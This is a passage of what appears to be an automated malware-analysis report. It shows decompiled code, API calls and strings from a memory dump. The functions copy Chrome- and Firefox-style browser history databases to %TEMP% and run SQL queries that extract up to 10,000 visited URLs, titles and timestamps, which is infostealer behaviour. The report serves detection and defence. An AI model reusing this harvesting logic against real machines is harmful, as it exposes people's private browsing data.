					 *[fs:eax] = _t198;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t213);
					 *[fs:eax] = _t213;
				}
				_pop(_t200);
				 *[fs:eax] = _t200;
				_push(E00412C48);
				_t58 =  &_v92; // 0x6f747311
				E00403BF4(_t58, 4);
				_t59 =  &_v76; // 0x6f747321
				E004034E4(_t59);
				_t60 =  &_v72; // 0x6f747325
				E00403BF4(_t60, 4);
				_t61 =  &_v56; // 0x6f747335
				E00403508(_t61, 3);
				_t62 =  &_v44; // 0x6f747341
				E00403BF4(_t62, 2);
				_t63 =  &_v36; // 0x6f747349
				E004034E4(_t63);
				_t64 =  &_v32; // 0x6f74734d
				E00403BF4(_t64, 2);
				_t65 =  &_v8; // 0x6f747365
				return E00403BDC(_t65);
			}

0x00412974
0x00412974
0x00412975
0x00412977
0x0041297c
0x0041297c
0x0041297e
0x00412980
0x00412980
0x00412980
0x00412983
0x00412984
0x00412985
0x00412986
0x00412989
0x0041298c
0x0041298f
0x00412996
0x00412997
0x0041299c
0x0041299f
0x004129a2
0x004129a5
0x004129ac
0x004129ad
0x004129b2
0x004129b5
0x004129b8
0x004129bd
0x004129c0
0x004129c5
0x004129c8
0x004129cb
0x004129d0
0x004129d3
0x004129e0
0x004129e5
0x004129eb
0x004129f0
0x004129f8
0x004129fd
0x00412a00
0x00412a05
0x00412a10
0x00412a18
0x00412a1b
0x00412a25
0x00412a34
0x00412a39
0x00412a3f
0x00412a47
0x00412a4a
0x00412a4f
0x00412a55
0x00412a64
0x00412a80
0x00412a87
0x00412a89
0x00412a8c
0x00412a8e
0x00412aa7
0x00412aae
0x00412ab0
0x00412ab3
0x00412ab5
0x00412b7a
0x00412b7e
0x00412b85
0x00412b88
0x00412b8b
0x00000000
0x00000000
0x00412ac3
0x00412acb
0x00412ad3
0x00412ade
0x00412aef
0x00412afa
0x00412b0b
0x00412b16
0x00412b1d
0x00412b1f
0x00412b27
0x00412b2c
0x00412b2f
0x00412b3a
0x00412b3f
0x00412b42
0x00412b4d
0x00412b52
0x00412b55
0x00412b60
0x00412b65
0x00412b68
0x00412b75
0x00412b75
0x00412b7a
0x00412ab5
0x00412b91
0x00412b95
0x00412b9c
0x00412ba3
0x00412baa
0x00412baf
0x00412bb2
0x00412bc7
0x00412bd5
0x00412a66
0x00412a68
0x00412a6b
0x00412a6b
0x00412bdc
0x00412bdf
0x00412be2
0x00412be7
0x00412bef
0x00412bf4
0x00412bf7
0x00412bfc
0x00412c04
0x00412c09
0x00412c11
0x00412c16
0x00412c1e
0x00412c23
0x00412c26
0x00412c2b
0x00412c33
0x00412c38
0x00412c40

APIs

GetTickCount.KERNEL32 ref: 004129B8
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412C78,?,.tmp,?,?,00000000,00412BB7,?,00000000,00412C41,?,00000000), ref: 00412A34
DeleteFileW.KERNEL32(00000000), ref: 00412BD5

Strings

.tmp, xrefs: 004129D3
%TEMP%, xrefs: 004129F3
, xrefs: 00412B68
SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000, xrefs: 00412A9E

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp$SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000
API String ID: 2381671008-351388873
Opcode ID: 3459b338a60736bb228cd6412b5c58d3a7a0a8a0136dab3eefba1ba13c187991
Instruction ID: f70f4eb6c3a4d74226b28448a77a1ad81309a428455034dfd3705b2b32de383d
Opcode Fuzzy Hash: 3459b338a60736bb228cd6412b5c58d3a7a0a8a0136dab3eefba1ba13c187991
Instruction Fuzzy Hash: C7810B71A00109AFCB00EF95DD82EDEBBB8EF48305F504476F514F72A1DB78AA558B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041253C, Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 222
fileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E0041253C(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				WCHAR* _t86;
				intOrPtr* _t101;
				void* _t103;
				intOrPtr* _t105;
				intOrPtr* _t109;
				intOrPtr* _t138;
				void* _t140;
				intOrPtr* _t142;
				void* _t144;
				intOrPtr* _t152;
				intOrPtr* _t158;
				intOrPtr* _t164;
				void* _t166;
				void* _t178;
				intOrPtr _t198;
				intOrPtr _t200;
				intOrPtr _t213;
				intOrPtr _t217;
				intOrPtr _t218;
				void* _t219;
				void* _t220;

				_t215 = __esi;
				_t177 = __ebx;
				_t217 = _t218;
				_t178 = 0xb;
				do {
					_push(0);
					_push(0);
					_t178 = _t178 - 1;
					_t223 = _t178;
				} while (_t178 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t217);
				_push(0x412809);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				E00403BDC( &_v28);
				_push(_t217);
				_push(0x41277f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				E0040709C(GetTickCount(), __ebx,  &_v60, __esi, _t223);
				_push(_v60);
				E00406FDC( &_v64, __ebx, __edi, __esi, _t223);
				_push(_v64);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t177,  &_v40, _t223);
				E004062FC(L"%TEMP%",  &_v72, _t223);
				_push(_v72);
				_push(0x412840);
				_push(_v32);
				E00403E78();
				E004078D8(_v68, _t177,  &_v44, _t223);
				_t86 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t86, 0xffffffff);
				E0040377C( &_v76, _v44);
				E00404B58(_v76, _t177, _t178,  &_v36, _t215, _t223);
				E00403D88( &_v80, _v36);
				if(E0040776C(_v80, _t177, _t178) != 0) {
					_t101 =  *0x41b140; // 0x41ca20
					_t103 =  *((intOrPtr*)( *_t101))(E00403990(_v36),  &_v16);
					_t219 = _t218 + 8;
					__eflags = _t103;
					if(_t103 == 0) {
						_t138 =  *0x41b2d4; // 0x41ca28
						_t140 =  *((intOrPtr*)( *_t138))(_v16, "SELECT DATETIME(moz_historyvisits.visit_date/1000000, \"unixepoch\", \"localtime\"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000", 0xffffffff,  &_v20,  &_v24);
						_t220 = _t219 + 0x14;
						__eflags = _t140;
						if(_t140 == 0) {
							while(1) {
								_t142 =  *0x41b384; // 0x41ca2c
								_t144 =  *((intOrPtr*)( *_t142))(_v20);
								__eflags = _t144 - 0x64;
								if(_t144 != 0x64) {
									goto L9;
								}
								E004034E4( &_v48);
								E004034E4( &_v52);
								E004034E4( &_v56);
								_t152 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v48,  *((intOrPtr*)( *_t152))(_v20, 0));
								_t158 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v52,  *((intOrPtr*)( *_t158))(_v20, 1));
								_t164 =  *0x41b1dc; // 0x41ca30
								_t166 =  *((intOrPtr*)( *_t164))(_v20, 2);
								_t220 = _t220 + 0x18;
								E004036DC( &_v56, _t166);
								_push(_v28);
								_push(0x412948);
								E00403D88( &_v84, _v48);
								_push(_v84);
								_push(0x412950);
								E00403D88( &_v88, _v52);
								_push(_v88);
								_push(0x41295c);
								E00403D88( &_v92, _v56);
								_push(_v92);
								_push(L"\r\n\r\n");
								E00403E78();
							}
						}
					}
					L9:
					_t105 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t105))(_v20);
					_t109 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t109))(_v16);
					_pop(_t198);
					 *[fs:eax] = _t198;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t213);
					 *[fs:eax] = _t213;
				}
				_pop(_t200);
				 *[fs:eax] = _t200;
				_push(E00412810);
				E00403BF4( &_v92, 4);
				E004034E4( &_v76);
				E00403BF4( &_v72, 4);
				E00403508( &_v56, 3);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x0041253c
0x0041253c
0x0041253d
0x0041253f
0x00412544
0x00412544
0x00412546
0x00412548
0x00412548
0x00412548
0x0041254b
0x0041254c
0x0041254d
0x0041254e
0x00412551
0x00412557
0x0041255e
0x0041255f
0x00412564
0x00412567
0x0041256d
0x00412574
0x00412575
0x0041257a
0x0041257d
0x00412588
0x0041258d
0x00412593
0x00412598
0x0041259b
0x004125a8
0x004125b3
0x004125c0
0x004125c5
0x004125c8
0x004125cd
0x004125d8
0x004125e3
0x004125ed
0x004125fc
0x00412607
0x00412612
0x0041261d
0x0041262c
0x00412648
0x0041264f
0x00412651
0x00412654
0x00412656
0x0041266f
0x00412676
0x00412678
0x0041267b
0x0041267d
0x00412742
0x00412746
0x0041274d
0x00412750
0x00412753
0x00000000
0x00000000
0x0041268b
0x00412693
0x0041269b
0x004126a6
0x004126b7
0x004126c2
0x004126d3
0x004126de
0x004126e5
0x004126e7
0x004126ef
0x004126f4
0x004126f7
0x00412702
0x00412707
0x0041270a
0x00412715
0x0041271a
0x0041271d
0x00412728
0x0041272d
0x00412730
0x0041273d
0x0041273d
0x00412742
0x0041267d
0x00412759
0x0041275d
0x00412764
0x0041276b
0x00412772
0x00412777
0x0041277a
0x0041278f
0x0041279d
0x0041262e
0x00412630
0x00412633
0x00412633
0x004127a4
0x004127a7
0x004127aa
0x004127b7
0x004127bf
0x004127cc
0x004127d9
0x004127e6
0x004127ee
0x004127fb
0x00412808

APIs

GetTickCount.KERNEL32 ref: 00412580
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412840,?,.tmp,?,?,00000000,0041277F,?,00000000,00412809,?,00000000), ref: 004125FC
DeleteFileW.KERNEL32(00000000), ref: 0041279D

Strings

, xrefs: 00412730
%TEMP%, xrefs: 004125BB
.tmp, xrefs: 0041259B
SELECT DATETIME(moz_historyvisits.visit_date/1000000, "unixepoch", "localtime"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000, xrefs: 00412666

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp$SELECT DATETIME(moz_historyvisits.visit_date/1000000, "unixepoch", "localtime"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000
API String ID: 2381671008-462058183
Opcode ID: 8b329c99ed99e2a4b7aa1dd1cfd571fb2f4985445734bb549b6f40b32f6b512f
Instruction ID: 96711d942fa6cd82f2097d7fbc3cef73731e9345f18fca2529b5113db019f3e4
Opcode Fuzzy Hash: 8b329c99ed99e2a4b7aa1dd1cfd571fb2f4985445734bb549b6f40b32f6b512f
Instruction Fuzzy Hash: 70810A71A00109AFDB00EB95DD82EDEBBB8EF48305F504536F414F72A1DB78AE568B58

Uniqueness

Uniqueness Score: -1.00%

Function 00403368, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00403368(void* __ecx) {
				long _v4;
				int _t3;

				if( *0x41c034 == 0) {
					if( *0x41b024 == 0) {
						_t3 = MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
					}
					return _t3;
				} else {
					if( *0x41c208 == 0xd7b2 &&  *0x41c210 > 0) {
						 *0x41c220();
					}
					WriteFile(GetStdHandle(0xfffffff5), "Runtime error     at 00000000", 0x1e,  &_v4, 0);
					return WriteFile(GetStdHandle(0xfffffff5), E004033F0, 2,  &_v4, 0);
				}
			}

0x00403370
0x004033d0
0x004033e0
0x004033e0
0x004033e6
0x00403372
0x0040337b
0x0040338b
0x0040338b
0x004033a7
0x004033c8
0x004033c8

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,0041A212,00000000,?,00403436,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000), ref: 004033A1
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,0041A212,00000000,?,00403436,?,?,?,00000002,004034D6,004025CB,0040260E), ref: 004033A7
GetStdHandle.KERNEL32(000000F5,004033F0,00000002,0041A212,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,0041A212,00000000,?,00403436), ref: 004033BC
WriteFile.KERNEL32(00000000,000000F5,004033F0,00000002,0041A212,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,0041A212,00000000,?,00403436), ref: 004033C2
MessageBoxA.USER32 ref: 004033E0

Strings

Runtime error at 00000000, xrefs: 0040339A, 004033D9
Error, xrefs: 004033D4

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 0a4cf132a8cfaff0af1c5c0ffc7350712d2b813a546a0a59a711f5fd8d927d65
Instruction ID: 272384808b0d926620c8a29f01af81f970e1c010559b5e4fcbf7d036ebb79ccd
Opcode Fuzzy Hash: 0a4cf132a8cfaff0af1c5c0ffc7350712d2b813a546a0a59a711f5fd8d927d65
Instruction Fuzzy Hash: F5F09670AC03847AE620A7915DCAF9B2A5C8708F15F20867BB660744E5DBBC55C4525D

Uniqueness

Uniqueness Score: -1.00%

Function 004112D0, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 234
fileCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E004112D0(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				WCHAR* _t83;
				intOrPtr* _t98;
				intOrPtr _t100;
				intOrPtr* _t102;
				intOrPtr* _t106;
				intOrPtr* _t134;
				intOrPtr* _t138;
				intOrPtr _t140;
				intOrPtr* _t142;
				void* _t144;
				intOrPtr* _t146;
				intOrPtr* _t150;
				void* _t152;
				intOrPtr* _t157;
				intOrPtr* _t163;
				intOrPtr* _t169;
				void* _t171;
				intOrPtr* _t175;
				void* _t178;
				intOrPtr _t199;
				intOrPtr _t201;
				void* _t206;
				intOrPtr _t212;
				intOrPtr _t216;
				intOrPtr _t217;
				void* _t218;
				void* _t219;

				_t214 = __esi;
				_t177 = __ebx;
				_t216 = _t217;
				_t178 = 0xa;
				do {
					_push(0);
					_push(0);
					_t178 = _t178 - 1;
					_t224 = _t178;
				} while (_t178 != 0);
				_push(_t178);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t216);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t217;
				E00403BDC( &_v28);
				_push(_t216);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t217;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t224);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t224);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t177,  &_v40, _t224);
				E004062FC(L"%TEMP%",  &_v64, _t224);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t177,  &_v44, _t224);
				_t83 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t83, 0xffffffff);
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t177, _t178,  &_v36, _t214, _t224);
				E00403D88( &_v72, _v36);
				if(E0040776C(_v72, _t177, _t178) != 0) {
					_t98 =  *0x41b140; // 0x41ca20
					_t100 =  *((intOrPtr*)( *_t98))(E00403990(_v36),  &_v16);
					_t218 = _t217 + 8;
					__eflags = _t100;
					if(_t100 == 0) {
						_t134 =  *0x41b390; // 0x41c934
						_t138 =  *0x41b2d4; // 0x41ca28
						_t140 =  *((intOrPtr*)( *_t138))(_v16, E00403990( *_t134), 0xffffffff,  &_v20,  &_v24);
						_t219 = _t218 + 0x14;
						__eflags = _t140;
						if(_t140 == 0) {
							while(1) {
								_t142 =  *0x41b384; // 0x41ca2c
								_t144 =  *((intOrPtr*)( *_t142))(_v20);
								__eflags = _t144 - 0x64;
								if(_t144 != 0x64) {
									goto L9;
								}
								_t146 =  *0x41b414; // 0x41ca34
								_t150 =  *0x41b1dc; // 0x41ca30
								_t152 =  *((intOrPtr*)( *_t150))(_v20, 3,  *((intOrPtr*)( *_t146))(_v20, 3));
								_pop(_t206);
								E0040A610(_t152,  &_v48, _t206);
								E00403D88( &_v76, _v48);
								_t157 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t157))(_v20, 0, 0x4115ec, _v76, _v28));
								_t163 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t163))(_v20, 1, 0x4115ec, _v80));
								_t169 =  *0x41b1dc; // 0x41ca30
								_t171 =  *((intOrPtr*)( *_t169))(_v20, 2, 0x4115f8, _v84);
								_t219 = _t219 + 0x28;
								E00403CF4( &_v88, _t171);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t175 =  *0x41b1cc; // 0x41b0b4
								 *_t175 =  *_t175 + 1;
								__eflags =  *_t175;
							}
						}
					}
					L9:
					_t102 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t102))(_v20);
					_t106 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t106))(_v16);
					_pop(_t199);
					 *[fs:eax] = _t199;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t212);
					 *[fs:eax] = _t212;
				}
				_pop(_t201);
				 *[fs:eax] = _t201;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112d0
0x004112d0
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

GetTickCount.KERNEL32 ref: 00411315
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004115E4,?,.tmp,?,?,00000000,00411526,?,00000000,004115AB,?,00000000), ref: 00411391
DeleteFileW.KERNEL32(00000000), ref: 00411544

Strings

.tmp, xrefs: 00411330
, xrefs: 004114D0
%TEMP%, xrefs: 00411350

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp
API String ID: 2381671008-2792595090
Opcode ID: db17063c9cae81f4128a538ccb0406a2e86b889ebd8fd8a46293cc642e6a25ee
Instruction ID: 2907a0a36d16f86ef06436b94052184e29eddf1806116983537aed2fe47c33e4
Opcode Fuzzy Hash: db17063c9cae81f4128a538ccb0406a2e86b889ebd8fd8a46293cc642e6a25ee
Instruction Fuzzy Hash: 8C81F871A00109AFDB00EF95DC82EDEBBB9EF49305F508436F514F72A1DB38AA458B59

Uniqueness

Uniqueness Score: -1.00%

Function 00410D88, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 194
fileCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00410D88(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				WCHAR* _t74;
				intOrPtr* _t89;
				void* _t91;
				intOrPtr* _t93;
				intOrPtr* _t97;
				intOrPtr* _t125;
				intOrPtr* _t129;
				void* _t131;
				intOrPtr* _t133;
				void* _t135;
				intOrPtr* _t137;
				intOrPtr* _t143;
				void* _t145;
				void* _t151;
				intOrPtr _t171;
				intOrPtr _t173;
				intOrPtr _t179;
				intOrPtr _t183;
				intOrPtr _t184;
				void* _t185;
				void* _t186;

				_t181 = __esi;
				_t150 = __ebx;
				_t183 = _t184;
				_t151 = 9;
				do {
					_push(0);
					_push(0);
					_t151 = _t151 - 1;
					_t188 = _t151;
				} while (_t151 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t183);
				_push(0x410fe1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t184;
				E004034E4( &_v28);
				_push(_t183);
				_push(0x410f66);
				_push( *[fs:eax]);
				 *[fs:eax] = _t184;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t188);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t188);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t150,  &_v40, _t188);
				E004062FC(L"%TEMP%",  &_v60, _t188);
				_push(_v60);
				_push(0x411018);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t150,  &_v44, _t188);
				_t74 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t74, 0xffffffff);
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t150, _t151,  &_v36, _t181, _t188);
				E00403D88( &_v68, _v36);
				if(E0040776C(_v68, _t150, _t151) != 0) {
					_t89 =  *0x41b140; // 0x41ca20
					_t91 =  *((intOrPtr*)( *_t89))(E00403990(_v36),  &_v16);
					_t185 = _t184 + 8;
					__eflags = _t91;
					if(_t91 == 0) {
						_t125 =  *0x41b1b8; // 0x41c814
						_t129 =  *0x41b2d4; // 0x41ca28
						_t131 =  *((intOrPtr*)( *_t129))(_v16, E00403990( *_t125), 0xffffffff,  &_v20,  &_v24);
						_t186 = _t185 + 0x14;
						__eflags = _t131;
						if(_t131 == 0) {
							while(1) {
								_t133 =  *0x41b384; // 0x41ca2c
								_t135 =  *((intOrPtr*)( *_t133))(_v20);
								__eflags = _t135 - 0x64;
								if(_t135 != 0x64) {
									goto L9;
								}
								_t137 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v72,  *((intOrPtr*)( *_t137))(_v20, 0, _v28));
								_t143 =  *0x41b1dc; // 0x41ca30
								_t145 =  *((intOrPtr*)( *_t143))(_v20, 1, 0x411024, _v72);
								_t186 = _t186 + 0x10;
								E004036DC( &_v76, _t145);
								_push(_v76);
								_push(E00411030);
								E00403850();
							}
						}
					}
					L9:
					_t93 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t93))(_v20);
					_t97 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t97))(_v16);
					_pop(_t171);
					 *[fs:eax] = _t171;
					E00403D88(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t179);
					 *[fs:eax] = _t179;
				}
				_pop(_t173);
				 *[fs:eax] = _t173;
				_push(E00410FE8);
				E00403508( &_v76, 2);
				E00403BDC( &_v68);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BDC( &_v32);
				E004034E4( &_v28);
				return E00403BDC( &_v8);
			}

0x00410d88
0x00410d88
0x00410d89
0x00410d8b
0x00410d90
0x00410d90
0x00410d92
0x00410d94
0x00410d94
0x00410d94
0x00410d97
0x00410d98
0x00410d99
0x00410d9a
0x00410d9d
0x00410da3
0x00410daa
0x00410dab
0x00410db0
0x00410db3
0x00410db9
0x00410dc0
0x00410dc1
0x00410dc6
0x00410dc9
0x00410dd4
0x00410dd9
0x00410ddf
0x00410de4
0x00410de7
0x00410df4
0x00410dff
0x00410e0c
0x00410e11
0x00410e14
0x00410e19
0x00410e24
0x00410e2f
0x00410e39
0x00410e48
0x00410e53
0x00410e5e
0x00410e69
0x00410e78
0x00410e94
0x00410e9b
0x00410e9d
0x00410ea0
0x00410ea2
0x00410eb2
0x00410ec3
0x00410eca
0x00410ecc
0x00410ecf
0x00410ed1
0x00410f2d
0x00410f31
0x00410f38
0x00410f3b
0x00410f3e
0x00000000
0x00000000
0x00410ede
0x00410eef
0x00410f02
0x00410f09
0x00410f0b
0x00410f13
0x00410f18
0x00410f1b
0x00410f28
0x00410f28
0x00410f2d
0x00410ed1
0x00410f40
0x00410f44
0x00410f4b
0x00410f52
0x00410f59
0x00410f5e
0x00410f61
0x00410f76
0x00410f84
0x00410e7a
0x00410e7c
0x00410e7f
0x00410e7f
0x00410f8b
0x00410f8e
0x00410f91
0x00410f9e
0x00410fa6
0x00410fae
0x00410fbb
0x00410fc3
0x00410fcb
0x00410fd3
0x00410fe0

APIs

GetTickCount.KERNEL32 ref: 00410DCC
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00411018,?,.tmp,?,?,00000000,00410F66,?,00000000,00410FE1,?,00000000), ref: 00410E48
DeleteFileW.KERNEL32(00000000), ref: 00410F84

Strings

.tmp, xrefs: 00410DE7
%TEMP%, xrefs: 00410E07

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: %TEMP%$.tmp
API String ID: 2381671008-3650661790
Opcode ID: a0f59b8e419c3aad363750f11b97e76979ee39233b08c3cc789eaf95a442bc53
Instruction ID: ee23a472d3747a439df3c4e0a114333c5db2ab7a39ff8a49f746a70128ed8489
Opcode Fuzzy Hash: a0f59b8e419c3aad363750f11b97e76979ee39233b08c3cc789eaf95a442bc53
Instruction Fuzzy Hash: F0611A71A00109AFCB10EF95DC42ADEBBB8EF48315F504476F514F32A1DB79AE468B58

Uniqueness

Uniqueness Score: -1.00%

Function 00411034, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191
fileCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00411034(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				WCHAR* _t72;
				intOrPtr* _t87;
				void* _t89;
				intOrPtr* _t91;
				intOrPtr* _t95;
				intOrPtr* _t119;
				intOrPtr* _t123;
				void* _t125;
				intOrPtr* _t127;
				void* _t129;
				intOrPtr* _t131;
				intOrPtr* _t137;
				void* _t139;
				void* _t145;
				intOrPtr _t165;
				intOrPtr _t167;
				intOrPtr _t174;
				intOrPtr _t178;
				intOrPtr _t179;
				void* _t180;
				void* _t181;

				_t176 = __esi;
				_t144 = __ebx;
				_t178 = _t179;
				_t145 = 9;
				do {
					_push(0);
					_push(0);
					_t145 = _t145 - 1;
					_t183 = _t145;
				} while (_t145 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t178);
				_push(0x411282);
				_push( *[fs:eax]);
				 *[fs:eax] = _t179;
				E00403BDC( &_v28);
				_push(_t178);
				_push(0x411212);
				_push( *[fs:eax]);
